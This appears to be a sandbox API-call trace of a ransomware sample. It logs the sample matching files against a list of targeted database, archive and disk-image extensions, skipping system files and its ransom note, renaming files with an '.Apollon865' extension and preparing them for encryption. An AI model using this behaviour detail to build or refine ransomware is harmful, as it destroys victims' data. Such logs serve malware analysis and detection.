	[0053.312] lstrlenW (lpString="dad") returned 3
	[0053.312] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.312] lstrlenW (lpString="dadiagrams") returned 10
	[0053.312] lstrcmpiW (lpString1="n site.url", lpString2="dadiagrams") returned 1
	[0053.312] lstrlenW (lpString="daschema") returned 8
	[0053.312] lstrcmpiW (lpString1="site.url", lpString2="daschema") returned 1
	[0053.312] lstrlenW (lpString="db-journal") returned 10
	[0053.312] lstrcmpiW (lpString1="n site.url", lpString2="db-journal") returned 1
	[0053.313] lstrlenW (lpString="db-shm") returned 6
	[0053.313] lstrcmpiW (lpString1="te.url", lpString2="db-shm") returned 1
	[0053.313] lstrlenW (lpString="db-wal") returned 6
	[0053.313] lstrcmpiW (lpString1="te.url", lpString2="db-wal") returned 1
	[0053.313] lstrlenW (lpString="dbc") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.313] lstrlenW (lpString="dbs") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.313] lstrlenW (lpString="dbt") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.313] lstrlenW (lpString="dbv") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.313] lstrlenW (lpString="dbx") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.313] lstrlenW (lpString="dcb") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.313] lstrlenW (lpString="dct") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.313] lstrlenW (lpString="dcx") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.313] lstrlenW (lpString="ddl") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.313] lstrlenW (lpString="dlis") returned 4
	[0053.313] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.313] lstrlenW (lpString="dp1") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.313] lstrlenW (lpString="dqy") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.313] lstrlenW (lpString="dsk") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.313] lstrlenW (lpString="dsn") returned 3
	[0053.313] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.313] lstrlenW (lpString="dtsx") returned 4
	[0053.313] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.313] lstrlenW (lpString="dxl") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.314] lstrlenW (lpString="eco") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.314] lstrlenW (lpString="ecx") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.314] lstrlenW (lpString="edb") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.314] lstrlenW (lpString="epim") returned 4
	[0053.314] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.314] lstrlenW (lpString="fcd") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.314] lstrlenW (lpString="fdb") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.314] lstrlenW (lpString="fic") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.314] lstrlenW (lpString="flexolibrary") returned 12
	[0053.314] lstrcmpiW (lpString1="-on site.url", lpString2="flexolibrary") returned 1
	[0053.314] lstrlenW (lpString="fm5") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.314] lstrlenW (lpString="fmp") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.314] lstrlenW (lpString="fmp12") returned 5
	[0053.314] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1
	[0053.314] lstrlenW (lpString="fmpsl") returned 5
	[0053.314] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1
	[0053.314] lstrlenW (lpString="fol") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.314] lstrlenW (lpString="fp3") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.314] lstrlenW (lpString="fp4") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.314] lstrlenW (lpString="fp5") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.314] lstrlenW (lpString="fp7") returned 3
	[0053.314] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.315] lstrlenW (lpString="fpt") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.315] lstrlenW (lpString="frm") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.315] lstrlenW (lpString="gdb") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.315] lstrlenW (lpString="gdb") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.315] lstrlenW (lpString="grdb") returned 4
	[0053.315] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.315] lstrlenW (lpString="gwi") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.315] lstrlenW (lpString="hdb") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.315] lstrlenW (lpString="his") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.315] lstrlenW (lpString="ib") returned 2
	[0053.315] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.315] lstrlenW (lpString="idb") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.315] lstrlenW (lpString="ihx") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.315] lstrlenW (lpString="itdb") returned 4
	[0053.315] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.315] lstrlenW (lpString="itw") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.315] lstrlenW (lpString="jet") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.315] lstrlenW (lpString="jtx") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.315] lstrlenW (lpString="kdb") returned 3
	[0053.315] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.315] lstrlenW (lpString="kexi") returned 4
	[0053.315] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.316] lstrlenW (lpString="kexic") returned 5
	[0053.316] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1
	[0053.316] lstrlenW (lpString="kexis") returned 5
	[0053.316] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1
	[0053.316] lstrlenW (lpString="lgc") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.316] lstrlenW (lpString="lwx") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.316] lstrlenW (lpString="maf") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.316] lstrlenW (lpString="maq") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.316] lstrlenW (lpString="mar") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.316] lstrlenW (lpString="marshal") returned 7
	[0053.316] lstrcmpiW (lpString1="ite.url", lpString2="marshal") returned -1
	[0053.316] lstrlenW (lpString="mas") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.316] lstrlenW (lpString="mav") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.316] lstrlenW (lpString="maw") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.316] lstrlenW (lpString="mdbhtml") returned 7
	[0053.316] lstrcmpiW (lpString1="ite.url", lpString2="mdbhtml") returned -1
	[0053.316] lstrlenW (lpString="mdn") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.316] lstrlenW (lpString="mdt") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.316] lstrlenW (lpString="mfd") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.316] lstrlenW (lpString="mpd") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.316] lstrlenW (lpString="mrg") returned 3
	[0053.316] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.316] lstrlenW (lpString="mud") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.317] lstrlenW (lpString="mwb") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.317] lstrlenW (lpString="myd") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.317] lstrlenW (lpString="ndf") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.317] lstrlenW (lpString="nnt") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.317] lstrlenW (lpString="nrmlib") returned 6
	[0053.317] lstrcmpiW (lpString1="te.url", lpString2="nrmlib") returned 1
	[0053.317] lstrlenW (lpString="ns2") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.317] lstrlenW (lpString="ns3") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.317] lstrlenW (lpString="ns4") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.317] lstrlenW (lpString="nsf") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.317] lstrlenW (lpString="nv") returned 2
	[0053.317] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.317] lstrlenW (lpString="nv2") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.317] lstrlenW (lpString="nwdb") returned 4
	[0053.317] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.317] lstrlenW (lpString="nyf") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.317] lstrlenW (lpString="odb") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.317] lstrlenW (lpString="odb") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.317] lstrlenW (lpString="oqy") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.317] lstrlenW (lpString="ora") returned 3
	[0053.317] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.318] lstrlenW (lpString="orx") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.318] lstrlenW (lpString="owc") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.318] lstrlenW (lpString="p96") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.318] lstrlenW (lpString="p97") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.318] lstrlenW (lpString="pan") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.318] lstrlenW (lpString="pdb") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.318] lstrlenW (lpString="pdm") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.318] lstrlenW (lpString="pnz") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.318] lstrlenW (lpString="qry") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.318] lstrlenW (lpString="qvd") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.318] lstrlenW (lpString="rbf") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.318] lstrlenW (lpString="rctd") returned 4
	[0053.318] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.318] lstrlenW (lpString="rod") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.318] lstrlenW (lpString="rodx") returned 4
	[0053.318] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.318] lstrlenW (lpString="rpd") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.318] lstrlenW (lpString="rsd") returned 3
	[0053.318] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.318] lstrlenW (lpString="sas7bdat") returned 8
	[0053.318] lstrcmpiW (lpString1="site.url", lpString2="sas7bdat") returned 1
	[0053.318] lstrlenW (lpString="sbf") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.319] lstrlenW (lpString="scx") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.319] lstrlenW (lpString="sdb") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.319] lstrlenW (lpString="sdc") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.319] lstrlenW (lpString="sdf") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.319] lstrlenW (lpString="sis") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.319] lstrlenW (lpString="spq") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.319] lstrlenW (lpString="te") returned 2
	[0053.319] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.319] lstrlenW (lpString="teacher") returned 7
	[0053.319] lstrcmpiW (lpString1="ite.url", lpString2="teacher") returned -1
	[0053.319] lstrlenW (lpString="tmd") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.319] lstrlenW (lpString="tps") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.319] lstrlenW (lpString="trc") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.319] lstrlenW (lpString="trc") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.319] lstrlenW (lpString="trm") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.319] lstrlenW (lpString="udb") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.319] lstrlenW (lpString="udl") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.319] lstrlenW (lpString="usr") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.319] lstrlenW (lpString="v12") returned 3
	[0053.319] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.320] lstrlenW (lpString="vis") returned 3
	[0053.320] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.320] lstrlenW (lpString="vpd") returned 3
	[0053.320] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.320] lstrlenW (lpString="vvv") returned 3
	[0053.320] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.320] lstrlenW (lpString="wdb") returned 3
	[0053.320] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.320] lstrlenW (lpString="wmdb") returned 4
	[0053.320] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.320] lstrlenW (lpString="wrk") returned 3
	[0053.320] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.320] lstrlenW (lpString="xdb") returned 3
	[0053.320] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.320] lstrlenW (lpString="xld") returned 3
	[0053.320] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.320] lstrlenW (lpString="xmlff") returned 5
	[0053.320] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1
	[0053.320] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.Apollon865") returned 75
	[0053.320] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url.apollon865"), dwFlags=0x1) returned 1
	[0053.321] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.321] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.321] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.322] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.322] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.322] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0xc0
	[0053.324] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.325] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.325] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.325] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.326] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.326] CloseHandle (hObject=0xc0) returned 1
	[0053.326] CloseHandle (hObject=0x118) returned 1
	[0053.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.326] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1
	[0053.326] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".") returned 1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="..") returned 1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="windows") returned -1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="bootmgr") returned 1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="temp") returned -1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="pagefile.sys") returned -1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="boot") returned 1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="ids.txt") returned 1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="ntuser.dat") returned -1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="perflogs") returned -1
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2="MSBuild") returned -1
	[0053.327] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28
	[0053.327] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned 64
	[0053.327] lstrcpyW (in: lpString1=0x119e664, lpString2="IE site on Microsoft.com.url" | out: lpString1="IE site on Microsoft.com.url") returned="IE site on Microsoft.com.url"
	[0053.327] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28
	[0053.327] lstrlenW (lpString="Apollon865") returned 10
	[0053.327] lstrcmpiW (lpString1="ft.com.url", lpString2="Apollon865") returned 1
	[0053.327] lstrlenW (lpString=".dll") returned 4
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".dll") returned 1
	[0053.327] lstrlenW (lpString=".lnk") returned 4
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".lnk") returned 1
	[0053.327] lstrlenW (lpString=".ini") returned 4
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".ini") returned 1
	[0053.327] lstrlenW (lpString=".sys") returned 4
	[0053.327] lstrcmpiW (lpString1="IE site on Microsoft.com.url", lpString2=".sys") returned 1
	[0053.327] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28
	[0053.327] lstrlenW (lpString="bak") returned 3
	[0053.327] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.327] lstrlenW (lpString="ba_") returned 3
	[0053.327] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.327] lstrlenW (lpString="dbb") returned 3
	[0053.327] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.327] lstrlenW (lpString="vmdk") returned 4
	[0053.327] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.328] lstrlenW (lpString="rar") returned 3
	[0053.328] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.328] lstrlenW (lpString="zip") returned 3
	[0053.328] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.328] lstrlenW (lpString="tgz") returned 3
	[0053.328] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.328] lstrlenW (lpString="vbox") returned 4
	[0053.328] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.328] lstrlenW (lpString="vdi") returned 3
	[0053.328] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.328] lstrlenW (lpString="vhd") returned 3
	[0053.328] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.328] lstrlenW (lpString="vhdx") returned 4
	[0053.328] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.328] lstrlenW (lpString="avhd") returned 4
	[0053.328] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.328] lstrlenW (lpString="db") returned 2
	[0053.328] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.328] lstrlenW (lpString="db2") returned 3
	[0053.328] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.328] lstrlenW (lpString="db3") returned 3
	[0053.328] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.328] lstrlenW (lpString="dbf") returned 3
	[0053.328] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.328] lstrlenW (lpString="mdf") returned 3
	[0053.328] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.328] lstrlenW (lpString="mdb") returned 3
	[0053.328] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.328] lstrlenW (lpString="sql") returned 3
	[0053.328] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.328] lstrlenW (lpString="sqlite") returned 6
	[0053.328] lstrcmpiW (lpString1="om.url", lpString2="sqlite") returned -1
	[0053.328] lstrlenW (lpString="sqlite3") returned 7
	[0053.328] lstrcmpiW (lpString1="com.url", lpString2="sqlite3") returned -1
	[0053.328] lstrlenW (lpString="sqlitedb") returned 8
	[0053.329] lstrcmpiW (lpString1=".com.url", lpString2="sqlitedb") returned -1
	[0053.329] lstrlenW (lpString="xml") returned 3
	[0053.329] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.329] lstrlenW (lpString="$er") returned 3
	[0053.329] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.329] lstrlenW (lpString="4dd") returned 3
	[0053.329] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.329] lstrlenW (lpString="4dl") returned 3
	[0053.329] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.329] lstrlenW (lpString="^^^") returned 3
	[0053.329] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.329] lstrlenW (lpString="abs") returned 3
	[0053.329] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.329] lstrlenW (lpString="abx") returned 3
	[0053.329] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.329] lstrlenW (lpString="accdb") returned 5
	[0053.329] lstrcmpiW (lpString1="m.url", lpString2="accdb") returned 1
	[0053.329] lstrlenW (lpString="accdc") returned 5
	[0053.329] lstrcmpiW (lpString1="m.url", lpString2="accdc") returned 1
	[0053.329] lstrlenW (lpString="accde") returned 5
	[0053.329] lstrcmpiW (lpString1="m.url", lpString2="accde") returned 1
	[0053.329] lstrlenW (lpString="accdr") returned 5
	[0053.329] lstrcmpiW (lpString1="m.url", lpString2="accdr") returned 1
	[0053.329] lstrlenW (lpString="accdt") returned 5
	[0053.329] lstrcmpiW (lpString1="m.url", lpString2="accdt") returned 1
	[0053.329] lstrlenW (lpString="accdw") returned 5
	[0053.329] lstrcmpiW (lpString1="m.url", lpString2="accdw") returned 1
	[0053.329] lstrlenW (lpString="accft") returned 5
	[0053.329] lstrcmpiW (lpString1="m.url", lpString2="accft") returned 1
	[0053.329] lstrlenW (lpString="adb") returned 3
	[0053.329] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.329] lstrlenW (lpString="adb") returned 3
	[0053.329] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
